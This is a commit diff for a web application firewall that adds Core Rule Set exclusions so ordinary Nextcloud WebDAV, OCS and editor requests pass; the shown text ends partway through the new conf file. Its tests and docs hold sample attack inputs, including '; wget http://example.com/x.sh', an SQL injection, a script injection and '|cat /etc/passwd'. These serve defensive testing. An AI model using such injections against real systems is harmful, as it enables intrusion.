Core Rule Set: Nextcloud's ordinary requests pass by default (closes #240)
check / check (push) Waiting to run
check / check (push) Waiting to run
Adds nextcloud.conf, the thirteenth change. Nextcloud's WebDAV paths allow PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK and UNLOCK, and the body of a PUT there, an uploaded file, is not read. The cookie nc_username, and the fields that carry a search, a name, a file name or a folder, skip the four rules that read them as commands or system files. Comments, a share's note, a status and a document's text also skip the rules that refused ordinary sentences, and the document the two that refused a shell code block. Requests recorded from Nextcloud 35.0.2, its web pages, sync client 3.16.7 and the OCS API pass at the defaults and while bodies are read. Model: opus-5-5
This commit is contained in:
sneak committed
1 parent
183a6072d5
commit
986e59600b
9 files changed
+2251
-49
No files matched your search
@@ -581,24 +581,22 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
||||
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
||||
front of a code forge, bodies carry what people write and publish, which the
|
||||
rules take for attacks.
|
||||
- `smallwebwaf` changes the Core Rule Set in twelve ways so that ordinary
|
||||
- `smallwebwaf` changes the Core Rule Set in thirteen ways so that ordinary
|
||||
requests get through to the apps listed below. These requests include git over
|
||||
HTTP and sign-in through Git Credential Manager on a code forge, and saving a
|
||||
post from the block editor on WordPress. On gitea's own paths, its searches,
|
||||
file names and branch names get through too. On WordPress's own paths, its
|
||||
searches, names and file names do. On Drupal's own paths, the page to return
|
||||
to, its searches and its names get through too. On MediaWiki's own paths, its
|
||||
searches, page titles, names and wikitext do. On Mastodon's own paths, its
|
||||
searches, names, email addresses, posts and deliveries from other servers do.
|
||||
No setting undoes the changes; "Attack detection" in [`SPEC.md`](SPEC.md)
|
||||
lists them.
|
||||
post from the block editor on WordPress. No setting undoes the changes;
|
||||
"Attack detection" in [`SPEC.md`](SPEC.md) lists them.
|
||||
- These apps work out of the box at the default settings, and their recorded
|
||||
ordinary requests pass the Core Rule Set:
|
||||
- gitea;
|
||||
- WordPress;
|
||||
- Drupal;
|
||||
- MediaWiki;
|
||||
- Mastodon.
|
||||
ordinary requests pass the Core Rule Set. On each app's own paths, these get
|
||||
through too:
|
||||
- gitea: its searches, file names and branch names;
|
||||
- WordPress: its searches, names and file names;
|
||||
- Drupal: the page to return to, its searches and its names;
|
||||
- MediaWiki: its searches, page titles, names and wikitext;
|
||||
- Mastodon: its searches, names, email addresses, posts and deliveries from
|
||||
other servers;
|
||||
- Nextcloud, with its sync client: its WebDAV methods, searches, file names,
|
||||
account names, comments and documents.
|
||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
||||
fields or paths.
|
||||
- Rule files are plain text, one rule to a line, edited by hand and read again
|
||||
|
||||
@@ -81,8 +81,8 @@ to them.
|
||||
of bans is full.
|
||||
- `internal/rules`: reads the rule files at start and again when they
|
||||
change, and tells which rules a request matches.
|
||||
- `internal/coreruleset`: the Core Rule Set, with the twelve changes listed
|
||||
under "Attack detection", as Coraza directives.
|
||||
- `internal/coreruleset`: the Core Rule Set, with the thirteen changes
|
||||
listed under "Attack detection", as Coraza directives.
|
||||
- `internal/lookup`: looks clients up through GeoJS or in the lookup
|
||||
database.
|
||||
- `internal/reputation`: fetches the lists, asks the DNS blocklists and
|
||||
@@ -676,8 +676,8 @@ files, the limits and the bans still apply to the client that sends it.
|
||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as
|
||||
Coraza directives. An exclusion switches one rule off for some fields or paths
|
||||
only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file
|
||||
holds an app's own exclusions. The eighth to twelfth changes below hold those
|
||||
of the apps they name.
|
||||
holds an app's own exclusions. The eighth to thirteenth changes below hold
|
||||
those of the apps they name.
|
||||
- `discriminator` loads the file after `smallwebwaf`'s own setup rules and
|
||||
before the Core Rule Set's rules. The Core Rule Set loads its own
|
||||
`REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf` at the same point.
|
||||
@@ -723,20 +723,22 @@ files, the limits and the bans still apply to the client that sends it.
|
||||
scanner from an ordinary client. In front of a code forge, registry and git
|
||||
clients get `404` and `401` by design, hundreds of times a minute.
|
||||
|
||||
`smallwebwaf` changes the Core Rule Set 4.25.0 in twelve ways. Without them, it
|
||||
would refuse ordinary requests to these apps:
|
||||
`smallwebwaf` changes the Core Rule Set 4.25.0 in thirteen ways. Without them,
|
||||
it would refuse ordinary requests to these apps:
|
||||
|
||||
- gitea;
|
||||
- WordPress;
|
||||
- Drupal;
|
||||
- MediaWiki;
|
||||
- Mastodon.
|
||||
- Mastodon;
|
||||
- Nextcloud.
|
||||
|
||||
The changes hold in front of every app, and no setting undoes them:
|
||||
|
||||
1. `PUT`, `PATCH` and `DELETE` are allowed methods besides `GET`, `HEAD`, `POST`
|
||||
and `OPTIONS`. APIs, container image pushes and package uploads use them.
|
||||
Other methods stay refused.
|
||||
Other methods stay refused, except on Nextcloud's WebDAV paths, where the
|
||||
thirteenth change allows the WebDAV methods Nextcloud uses.
|
||||
2. The request header `Expect` is allowed, since curl and git send it before
|
||||
some large uploads. `Content-Encoding` is allowed on a request whose body the
|
||||
Core Rule Set does not read, which by default is every request. git
|
||||
@@ -763,7 +765,7 @@ The changes hold in front of every app, and no setting undoes them:
|
||||
catch reaches the app, such as the command `|cat /etc/passwd`. Path
|
||||
traversal, SQL and script injection, and PHP, Java and Node.js code are
|
||||
still refused there. Other parameters keep all three rules, except on the
|
||||
apps' own paths that the eighth to twelfth changes name. An app that uses
|
||||
apps' own paths that the eighth to thirteenth changes name. An app that uses
|
||||
one of these parameters as a file on the server, or passes it to a shell,
|
||||
must check the value itself. A rule file can refuse it instead.
|
||||
|
||||
@@ -1208,6 +1210,84 @@ The changes hold in front of every app, and no setting undoes them:
|
||||
every rule. An app other than Mastodon that serves one of these paths must
|
||||
check these fields itself.
|
||||
|
||||
13. On Nextcloud's paths, some fields skip the rules that refused ordinary
|
||||
Nextcloud requests there, and its WebDAV methods are allowed.
|
||||
`internal/coreruleset/nextcloud.conf` lists each rule and the request it
|
||||
refused.
|
||||
|
||||
The sync client and the Files app use WebDAV on these paths:
|
||||
- `/remote.php/dav/`;
|
||||
- `/public.php/dav/`;
|
||||
- `/remote.php/webdav/`;
|
||||
- `/public.php/webdav/`.
|
||||
|
||||
These methods are allowed there, besides those of the first change:
|
||||
- `PROPFIND` and `PROPPATCH`;
|
||||
- `MKCOL`;
|
||||
- `COPY` and `MOVE`;
|
||||
- `REPORT` and `SEARCH`;
|
||||
- `LOCK` and `UNLOCK`, with which the desktop client locks a file.
|
||||
|
||||
A file the Files app or the sync client uploads with `PUT` to these paths is
|
||||
a file, not form data. The Core Rule Set does not read the body of a `PUT`
|
||||
there. So a JSON file holding `python3 -m pytest` uploads, and so does an
|
||||
XML file holding `ls -la /var/log`. The headers, path and query of the `PUT`
|
||||
are still checked.
|
||||
|
||||
The cookie `nc_username` holds the name of the account signed in. It skips
|
||||
the lists of system files and command names (930120, 932120, 932250, 932260)
|
||||
on every path, since every request sends it.
|
||||
|
||||
These fields skip the same four rules, in the query or the body:
|
||||
- On `/login`, for signing in:
|
||||
- `user` and `password`;
|
||||
- `redirect_url`, the page to go to after signing in.
|
||||
- `dir`, the folder shown, on the paths under `/apps/files/`.
|
||||
- The file names on a public share:
|
||||
- `file` on the paths under `/apps/files_sharing/publicpreview/`;
|
||||
- `path` and `files` on `/s/<token>/download`.
|
||||
- On the OCS API, the paths under `/ocs/v1.php/` and `/ocs/v2.php/`:
|
||||
- the searches `search` and `term`, and `from`, the page searched from;
|
||||
- the names `groupid`, `userid`, `displayName` and `groups[]`;
|
||||
- `value`, a new value of an account's details;
|
||||
- `path`, `label` and `shareWith`, for a share.
|
||||
|
||||
These fields of a JSON body skip the same four rules:
|
||||
- On the OCS API, each field of the list above.
|
||||
- `value` on `/apps/theming/ajax/updateStylesheet`, the name and slogan in
|
||||
the theming settings.
|
||||
- `filePath` on `/apps/text/session/<id>/save`, the document the editor
|
||||
saves.
|
||||
- `name` on `/remote.php/dav/systemtags/`, a new tag.
|
||||
|
||||
Some fields hold sentences a person writes:
|
||||
- `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS
|
||||
API and on each share under it;
|
||||
- `message`, an account's status, on
|
||||
`apps/user_status/api/v1/user_status/message/custom` of the OCS API;
|
||||
- `message` in the JSON body that posts a comment to
|
||||
`/remote.php/dav/comments/files/<id>`;
|
||||
- the XML body of a `PROPPATCH` that edits a comment;
|
||||
- `autosaveContent` on `/apps/text/session/<id>/save`, the text of a
|
||||
document.
|
||||
|
||||
These fields skip the same four rules. They also skip the rules that refused
|
||||
ordinary sentences there, such as `It is fixed; diff attached` (932125,
|
||||
932230, 932235, 932380). A share's note and a status skip them in the query
|
||||
or the body. A document's text skips two more, which refused a shell script
|
||||
in a code block (932160, 932370). So a shell command such as
|
||||
`; wget http://example.com/x.sh` reaches Nextcloud in these fields. SQL
|
||||
injection, path traversal and script injection are still refused there.
|
||||
|
||||
The XML body of a `SEARCH` on `/remote.php/dav/`, the Files app's search,
|
||||
skips the four rules.
|
||||
|
||||
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
||||
applies to a JSON field when the query has a parameter of that name, such as
|
||||
`json.message`. Nextcloud's pages are matched at the site root and under
|
||||
`/index.php/`. Elsewhere these fields keep every rule. An app other than
|
||||
Nextcloud that serves one of these paths must check these fields itself.
|
||||
|
||||
The parameter and cookie names in these changes are matched without regard to
|
||||
case, as Coraza matches them.
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
||||
// method, the URL with its query and the headers of a request, and on its
|
||||
// body while SWW_WAF_BODY_LIMIT is set, with the twelve changes sww
|
||||
// body while SWW_WAF_BODY_LIMIT is set, with the thirteen changes sww
|
||||
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
|
||||
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
|
||||
// response.
|
||||
@@ -34,8 +34,9 @@ import (
|
||||
// paranoia level for %d, bodyDirectives for the first %s while
|
||||
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
|
||||
// giteaExclusions for the third, wordpressExclusions for the fourth,
|
||||
// drupalExclusions for the fifth, mediawikiExclusions for the sixth, and
|
||||
// mastodonExclusions for the seventh.
|
||||
// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
|
||||
// mastodonExclusions for the seventh, and nextcloudExclusions for the
|
||||
// eighth.
|
||||
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
||||
// Core Rule Set keeps for the rules that set it up, which
|
||||
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
||||
@@ -95,7 +96,10 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
|
||||
# So does the eleventh.
|
||||
%s
|
||||
|
||||
# And the twelfth.
|
||||
# So does the twelfth.
|
||||
%s
|
||||
|
||||
# And the thirteenth.
|
||||
%s
|
||||
|
||||
# The sixth: only the rules for requests are loaded, and no response is
|
||||
@@ -217,6 +221,14 @@ var mediawikiExclusions string
|
||||
//go:embed mastodon.conf
|
||||
var mastodonExclusions string
|
||||
|
||||
// nextcloudExclusions are the thirteenth change: the fields of Nextcloud's
|
||||
// own requests that skip the rules that refused them there, the WebDAV
|
||||
// methods it uses, its cookie of the account's name, and its uploads,
|
||||
// whose bodies are not read, as Coraza directives.
|
||||
//
|
||||
//go:embed nextcloud.conf
|
||||
var nextcloudExclusions string
|
||||
|
||||
// cookiesNotRead are the cookies the Core Rule Set reads a request
|
||||
// without, the rest of the fifth change.
|
||||
//
|
||||
@@ -330,7 +342,7 @@ type CoreRuleSet struct {
|
||||
bodyLimit int64
|
||||
}
|
||||
|
||||
// New returns the Core Rule Set with the twelve changes, at params'
|
||||
// New returns the Core Rule Set with the thirteen changes, at params'
|
||||
// paranoia level, without the rules it switches off, reading request
|
||||
// bodies up to params' limit, and with params' exclusions file loaded
|
||||
// before the Core Rule Set's rules. An exclusions file is an error if it
|
||||
@@ -359,7 +371,7 @@ func New(params Params) (*CoreRuleSet, error) {
|
||||
|
||||
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
||||
giteaExclusions, wordpressExclusions, drupalExclusions,
|
||||
mediawikiExclusions, mastodonExclusions)
|
||||
mediawikiExclusions, mastodonExclusions, nextcloudExclusions)
|
||||
|
||||
if len(params.DisabledRules) > 0 {
|
||||
ids := make([]string, len(params.DisabledRules))
|
||||
|
||||
@@ -202,7 +202,7 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
}
|
||||
|
||||
// wantChange checks that crs lets through passes, a request one of the
|
||||
// twelve changes is for, and still finds result in refused, a request like
|
||||
// thirteen changes is for, and still finds result in refused, a request like
|
||||
// it that the change is not for.
|
||||
func wantChange(
|
||||
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
|
||||
@@ -605,13 +605,19 @@ func giteaRequests(t *testing.T) []request {
|
||||
return requests
|
||||
}
|
||||
|
||||
// An SQL injection and a script injection, as a query value. Every app's
|
||||
// tests check that its fields still refuse them.
|
||||
// An SQL injection, a script injection and a shell command after a ";", as
|
||||
// query values. Every app's tests check that its fields still refuse the
|
||||
// first two.
|
||||
const (
|
||||
sqlInjection = "1'%20OR%20'1'='1"
|
||||
scriptInjection = "%3Cscript%3Ealert(1)%3C%2Fscript%3E"
|
||||
sqlInjection = "1'%20OR%20'1'='1"
|
||||
scriptInjection = "%3Cscript%3Ealert(1)%3C%2Fscript%3E"
|
||||
commandInjection = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
||||
)
|
||||
|
||||
// passwordField is the form data field password, ending in "=", in which
|
||||
// several apps take a password.
|
||||
const passwordField = "password="
|
||||
|
||||
// hardValues are words that name commands and files, as a query or form
|
||||
// value. An app's tests check that its fields let them through.
|
||||
//
|
||||
|
||||
@@ -151,7 +151,7 @@ var mastodonFormFields = []mastodonBodyField{
|
||||
"form_redirect[current_password]=",
|
||||
},
|
||||
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
|
||||
{http.MethodPost, mastodonSignUp, "password="},
|
||||
{http.MethodPost, mastodonSignUp, passwordField},
|
||||
{http.MethodPost, mastodonSignUp, "reason="},
|
||||
}
|
||||
|
||||
@@ -287,30 +287,31 @@ func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// mastodonCommandAttack is a shell command that only 932230 and 932235
|
||||
// refuse on the fields that skip the four rules.
|
||||
const mastodonCommandAttack = "; wget http://example.com/x.sh"
|
||||
|
||||
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
attack := url.QueryEscape(mastodonCommandAttack)
|
||||
|
||||
for _, target := range mastodonQueryFields {
|
||||
if got := inspect(t, crs, get(target+attack)); got.Score < mastodonThreshold {
|
||||
t.Errorf("%s%s let through: %+v", target, attack, got)
|
||||
got := inspect(t, crs, get(target+commandInjection))
|
||||
if got.Score < mastodonThreshold {
|
||||
t.Errorf("%s%s let through: %+v", target, commandInjection, got)
|
||||
}
|
||||
}
|
||||
|
||||
for _, sent := range mastodonFormFields {
|
||||
if mastodonForm(t, sent, attack) < mastodonThreshold {
|
||||
if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
|
||||
t.Errorf("%v let through", sent)
|
||||
}
|
||||
}
|
||||
|
||||
attack, err := url.QueryUnescape(commandInjection)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
for _, sent := range mastodonJSONFields {
|
||||
if mastodonJSON(t, sent, mastodonCommandAttack) < mastodonThreshold {
|
||||
if mastodonJSON(t, sent, attack) < mastodonThreshold {
|
||||
t.Errorf("%v let through", sent)
|
||||
}
|
||||
}
|
||||
@@ -497,7 +498,7 @@ func TestMastodonUsernamesAndHashtagsSkipOnlyTwoRules(t *testing.T) {
|
||||
}
|
||||
|
||||
for _, value := range slices.Concat(
|
||||
refused, mastodonAttacks, []string{url.QueryEscape(mastodonCommandAttack)},
|
||||
refused, mastodonAttacks, []string{commandInjection},
|
||||
) {
|
||||
if mastodonForm(t, mastodonUsername, value) < mastodonThreshold {
|
||||
t.Errorf("username %s let through", value)
|
||||
@@ -548,8 +549,7 @@ func TestMastodonEmailAddressesSkipThreeRules(t *testing.T) {
|
||||
|
||||
// The address keeps 932250 and the rules that refuse attacks.
|
||||
for _, value := range slices.Concat(
|
||||
[]string{"ls%20-la"}, mastodonAttacks,
|
||||
[]string{url.QueryEscape(mastodonCommandAttack)},
|
||||
[]string{"ls%20-la"}, mastodonAttacks, []string{commandInjection},
|
||||
) {
|
||||
if mastodonForm(t, sent, value) < mastodonThreshold {
|
||||
t.Errorf("%v with %s let through", sent, value)
|
||||
|
||||
@@ -167,7 +167,7 @@ var mediawikiBodyFields = []mediawikiBodyField{
|
||||
{mediawikiAPI, "lgname="},
|
||||
{mediawikiAPI, "lgpassword="},
|
||||
{mediawikiAPI, "username="},
|
||||
{mediawikiAPI, "password="},
|
||||
{mediawikiAPI, passwordField},
|
||||
}
|
||||
|
||||
// mediawikiReasonFields are the reasons on the admin pages, which skip only
|
||||
|
||||
@@ -0,0 +1,248 @@
|
||||
# The thirteenth change: on Nextcloud's paths, some fields skip the rules that
|
||||
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
|
||||
# sends a search, a name, a file name, a folder, a comment, a note, a status or
|
||||
# a document's text. Each exclusion runs with the request, before the rules it
|
||||
# switches off, so this file is loaded before the Core Rule Set's rules. Each
|
||||
# comment names a request a rule refused. An exclusion on a field of a JSON body
|
||||
# applies only when the query has no parameter of that name, so it matters only
|
||||
# while SWW_WAF_BODY_LIMIT is set. Nextcloud's pages are matched at the site
|
||||
# root and under /index.php/, where a Nextcloud without pretty URLs serves them.
|
||||
#
|
||||
# Four rules read a search or a name as a command or a system file:
|
||||
# 930120: .htaccess
|
||||
# 932120: powershell
|
||||
# 932250: ls -la
|
||||
# 932260: python3
|
||||
# Each exclusion below removes these four from its fields.
|
||||
#
|
||||
# A comment, a share's note and an account's status hold sentences a person
|
||||
# writes. Four more rules refused ordinary sentences there:
|
||||
# 932125: It is fixed; diff attached
|
||||
# 932230: Run python3 or powershell; ls -la shows .htaccess
|
||||
# 932235: We need more time; find the old notes first
|
||||
# 932380: Tested on Windows; powershell works
|
||||
# The text of a document holds such sentences too, and code blocks. Two more
|
||||
# rules refused a shell script in a code block:
|
||||
# 932160: #!/bin/bash
|
||||
# 932370: ```bash, which starts the code block
|
||||
# These fields skip the rules that refused them. So a shell command such as
|
||||
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
|
||||
# injection, path traversal and script injection are still refused there.
|
||||
|
||||
# The sync client and the Files app use these WebDAV methods besides those
|
||||
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
|
||||
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
|
||||
# PROPFIND, PROPPATCH: listing a folder, marking a file a favourite
|
||||
# MKCOL: making a folder, and starting a chunked upload
|
||||
# COPY, MOVE: copying, moving and renaming, and ending a chunked upload
|
||||
# REPORT: listing favourites and comments
|
||||
# SEARCH: the Files app's search
|
||||
# LOCK, UNLOCK: the desktop client's "Lock file" and "Unlock file"
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
|
||||
"id:900100,phase:1,pass,nolog,\
|
||||
setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND PROPPATCH MKCOL COPY MOVE REPORT SEARCH LOCK UNLOCK'"
|
||||
|
||||
# Nextcloud keeps the name of the account signed in in the cookie nc_username,
|
||||
# which every request sends, on every path. Each request of the account
|
||||
# python3 was refused.
|
||||
SecAction "id:900101,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;REQUEST_COOKIES:nc_username,\
|
||||
ctl:ruleRemoveTargetById=932120;REQUEST_COOKIES:nc_username,\
|
||||
ctl:ruleRemoveTargetById=932250;REQUEST_COOKIES:nc_username,\
|
||||
ctl:ruleRemoveTargetById=932260;REQUEST_COOKIES:nc_username"
|
||||
|
||||
# Signing in, in the query or the body:
|
||||
# user, password: user=python3&password=Example-pass-python3
|
||||
# redirect_url: /login?redirect_url=/apps/files/%3Fdir%3D/Python3%20notes
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
|
||||
"id:900102,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user|password|redirect_url)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:user|password|redirect_url)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
|
||||
|
||||
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
|
||||
"id:900103,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:dir,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:dir,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:dir,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:dir"
|
||||
|
||||
# The file names on a public share's page. A preview names its file in file:
|
||||
# /apps/files_sharing/publicpreview/<token>?file=/powershell+profile.ps1
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files_sharing/publicpreview/" \
|
||||
"id:900104,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:file,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:file,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:file,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:file"
|
||||
|
||||
# A download names its folder in path and its files in files:
|
||||
# /s/<token>/download?path=/&files=powershell%20profile.ps1
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?s/[^/]+/download$" \
|
||||
"id:900105,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:path|files)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:path|files)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:path|files)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:path|files)$/"
|
||||
|
||||
# The OCS API's searches and names, in the query, a form data body or a JSON
|
||||
# body:
|
||||
# search: /ocs/v2.php/cloud/users/details?search=python3, and the same on
|
||||
# cloud/users, cloud/groups, cloud/groups/details and the sharees
|
||||
# term, from: /ocs/v2.php/search/providers/files/search?term=python3
|
||||
# groupid, userid, displayName: adding the group "Python3 admins" and the
|
||||
# account python3, displayName=Ls+-la+Example
|
||||
# groups[], or groups in JSON: the groups of a new account,
|
||||
# groups[]=Python3+admins
|
||||
# value: changing an account's name, address or headline, value=Powershell+Lane
|
||||
# path, label, shareWith: sharing the folder "/ls -la output" with the
|
||||
# label "python3 link"
|
||||
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
|
||||
"id:900106,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/"
|
||||
|
||||
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
|
||||
"id:900107,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/"
|
||||
|
||||
# A share's note, in the query, a form data body or a JSON body, on a new
|
||||
# share or a changed one: {"note":"It is fixed; diff attached"}.
|
||||
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \
|
||||
"id:900108,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:note,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:note,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:note,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:note,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:note,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:note,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:note,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:note"
|
||||
|
||||
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \
|
||||
"id:900109,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:json.note "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:json.note,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:json.note,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:json.note,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:json.note,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:json.note,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:json.note,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:json.note,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:json.note"
|
||||
|
||||
# An account's status, in the query, a form data body or a JSON body:
|
||||
# {"message":"Tested on Windows; powershell works"}.
|
||||
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \
|
||||
"id:900110,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:message,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:message,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:message,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:message,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:message,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:message,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:message,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:message"
|
||||
|
||||
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \
|
||||
"id:900111,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:json.message "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:json.message,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:json.message,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:json.message"
|
||||
|
||||
# The name and slogan in the theming admin settings, in the JSON field value:
|
||||
# {"setting":"slogan","value":"ls -la and .htaccess"}.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/theming/ajax/updateStylesheet$" \
|
||||
"id:900112,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:json.value "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:json.value,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:json.value,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:json.value,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:json.value"
|
||||
|
||||
# The Text editor saves a document, such as a folder's Readme.md, with its
|
||||
# path in the JSON field filePath and its text in autosaveContent. The text
|
||||
# skips the rules for sentences and code blocks too.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/text/session/[0-9]+/save$" \
|
||||
"id:900113,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.(?:filepath|autosavecontent)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
||||
